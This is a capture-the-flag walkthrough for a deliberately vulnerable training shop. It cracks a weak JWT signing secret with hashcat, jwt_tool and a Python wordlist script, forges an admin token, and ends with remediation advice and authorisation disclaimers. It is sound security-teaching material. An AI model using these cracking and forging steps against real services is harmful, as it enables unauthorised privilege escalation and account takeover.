A valid JWT signature won’t save you if the secret is ‘secret’
Exploiting a JWT implementation that uses a weak signing secret to crack the key, forge admin credentials, and access restricted endpoints. The OopsSec Store signs its JWTs with a weak secret. We'll crack it, forge an
Exploiting a JWT implementation that uses a weak signing secret to crack the key, forge admin credentials, and access restricted endpoints.
The OopsSec Store signs its JWTs with a weak secret. We'll crack it, forge an admin token, and walk right into the restricted dashboard.
Environment setup
Spin up the OopsSec Store in a new directory:
npx create-oss-store oss-store
cd oss-store
npm start
Or with Docker (no Node.js required):
docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Head to http://localhost:3000 and log in with the test credentials shown on the login page. Use Alice's account -- she's a regular customer.
Reconnaissance
The app uses JWTs for session management. After login, the server drops a token in an HTTP-only cookie that tags along with every request.
There's a link to /admin sitting right there in the footer. Click it as Alice and you get an access denied page.
Token extraction and analysis
Open DevTools, go to Application > Cookies. The token is in an HTTP-only cookie called authToken.
Paste it into jwt.io:
Header:
{
"alg": "HS256",
"typ": "JWT"
}
Payload:
{
"id": "cmk7hzehr0001togvwvjt810d",
"email": "[email protected]",
"role": "CUSTOMER",
"hint": "The secret is not so secret",
"exp": 1768763557
}
HS256 -- HMAC-SHA256. You need the secret to forge a valid signature.
But then there's the hint field: "The secret is not so secret". Not subtle.
Identifying the vulnerability
A signature doesn't make a token secure if the secret behind it is garbage. Short or common secrets fall to dictionary attacks in seconds. Think secret, password, jwt, key, or just the app name.
Cracking the JWT secret
Save the token to a file:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImNta3I4eW4zNDAwMDF0b3A2NjJ6OXkzb20iLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwicm9sZSI6IkNVU1RPTUVSIiwiaGludCI6IlRoZSBzZWNyZXQgaXMgbm90IHNvIHNlY3JldCIsImV4cCI6MTc2OTgwMDYzNH0.xYuUP20NgY6Pz9cktBEvS-_dczsDFKQQnhyHCvl7ckc" > jwt.txt
Crack it with hashcat:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
Or jwt_tool:
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
Or skip the big wordlist and just try the obvious ones:
import jwt
import sys
token = sys.argv[1]
wordlist = ["secret", "password", "jwt", "key", "oopssec", "admin", "test"]
for secret in wordlist:
try:
jwt.decode(token, secret, algorithms=["HS256"])
print(f"[+] Secret found: {secret}")
break
except jwt.InvalidSignatureError:
continue
The secret is secret. Yeah.
Exploitation
Forge a token with "role": "ADMIN":
import jwt
payload = {
"id": "cmk7hzehr0001togvwvjt810d",
"email": "[email protected]",
"role": "ADMIN",
"hint": "The secret is not so secret",
"exp": 1768763557
}
forged_token = jwt.encode(payload, "secret", algorithm="HS256")
print(forged_token)
Back in DevTools > Application > Cookies, replace the authToken value with your forged token and refresh. The cookie is httpOnly so JavaScript can't touch it, but DevTools doesn't care -- you can edit it directly.
Hit /admin.
Flag
OSS{w34k_jwt_s3cr3t_k3y}
Remediation
The fix starts with a real secret:
openssl rand -base64 32
Keep it in an environment variable, not in your code:
import jwt from "jsonwebtoken";
jwt.sign(payload, process.env.JWT_SECRET, {
algorithm: "HS256",
expiresIn: "7d",
});
Always verify signatures on incoming tokens:
jwt.verify(token, process.env.JWT_SECRET);
Don't trust the role claim in the token either. Look it up from the database:
const user = await db.users.findById(decoded.id);
if (user.role !== "ADMIN") {
return res.status(403).send("Forbidden");
}
If different services need to issue and verify tokens, asymmetric algorithms (RS256, ES256) make more sense -- verifiers never see the private key.
The token tells you who someone is. What they're allowed to do is a separate question, and the answer should come from your database, not from something the client handed you.
Lab
kOaDT
/
oss-oopssec-store
Security training for the apps you actually ship. Open your browser and start hacking.
OSS - OopsSec Store
Security training for the apps you actually ship.
36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP
Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work
Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues
____ ____ ____ ____ ____ ____ _ / __ \/ __// __/ / __ \ ___ ___ ___ / __/ ___ ____ / __/ / /_ ___ ____ ___ / /_/ /\ \ _\ \ / /_/ // _ \ / _ \(_-<_\ \ / -_)/ __/_\ \ / __// _ \ / __// -_) \____/___//___/ \____/ \___// .__/___/___/ \__/ \__//___/ \__/ \___//_/ \__/ /_/ # Start with Node.js npx…
Disclaimers
Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.
Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.
Feedback & Support
Having trouble following this writeup? Found a typo or have suggestions for improvement?
Feel free to open an issue or start a discussion on GitHub.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.

